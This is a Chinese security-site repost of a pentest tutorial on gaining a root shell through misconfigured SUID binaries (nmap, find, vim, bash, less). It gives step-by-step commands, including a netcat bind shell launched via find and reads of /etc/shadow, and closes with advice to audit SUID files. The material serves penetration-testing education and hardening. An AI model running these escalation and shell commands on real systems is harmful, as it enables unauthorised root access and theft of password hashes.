安全路透社
当前位置:安全路透社 > 网络转载 > 正文

对SUID可提权Root Shell的探究

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可以用来提权的Linux可执行文件有:

Ø Nmap

Ø Vim

Ø find

Ø Bash

Ø More

Ø Less

Ø Nano

Ø cp

下面的命令可以发现所有的系统中运行的SUID可执行文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

discovery-of-suid-executables.png

上面的所有二进制文件都可以在root权限下运行,因为他们的owner是root,并且他们的权限中含有s。s权限使一般使用者临时具有该文件所属主/组的执行权限。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

suid-executable-nmap.png

Nmap

早版本的Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。Nmap也是root权限下运行的二进制文件。

nmap -v 

nmap-version-identification.png

通过参数interactive可以进入交互模式

nmap --interactive

nmap-interactive-mode.png

下面的命令可以对shell提权

nmap> !sh
sh-3.2# whoami
root

root-shell-via-suid-nmap.png

Metasploit也有利用SUID Nmap进行提权攻击

exploit/unix/local/setuid_nmap

Find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

touch pentestlab
find pentestlab -exec whoami \;

 find-command-execution.png

主流的Linux操作系统都安装了netcat,可以将该命令提权为root shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

run-netcat-via-find.png

连接开放的端口可以进行root shell提权


netcat 192.168.1.189 5555

id

cat /etc/shadow

root-shell-via-find.png

Vim

如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件。

vim.tiny /etc/shadow

vim-reading-root-files.png

通过vim运行shell

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

 vim-root-shell.png

Bash

下面的命令可以以root权限打开bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

 bash-root-shell.png

Less

Less和more都可以执行提权的shell


less /etc/passwd

!/bin/sh

 less-root-shell.png

安全建议

事实证明,通过配置不准确的SUID执行文件可以进行root shell提权。安全管理员应该评估所有的SUID二进制文件,判断是否需要以高权限的用户运行,尤其应该关注可以执行代码和写数据的应用。

*来源:https://pentestlab.blog/2017/09/25/suid-executables/

未经允许不得转载:安全路透社 » 对SUID可提权Root Shell的探究

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册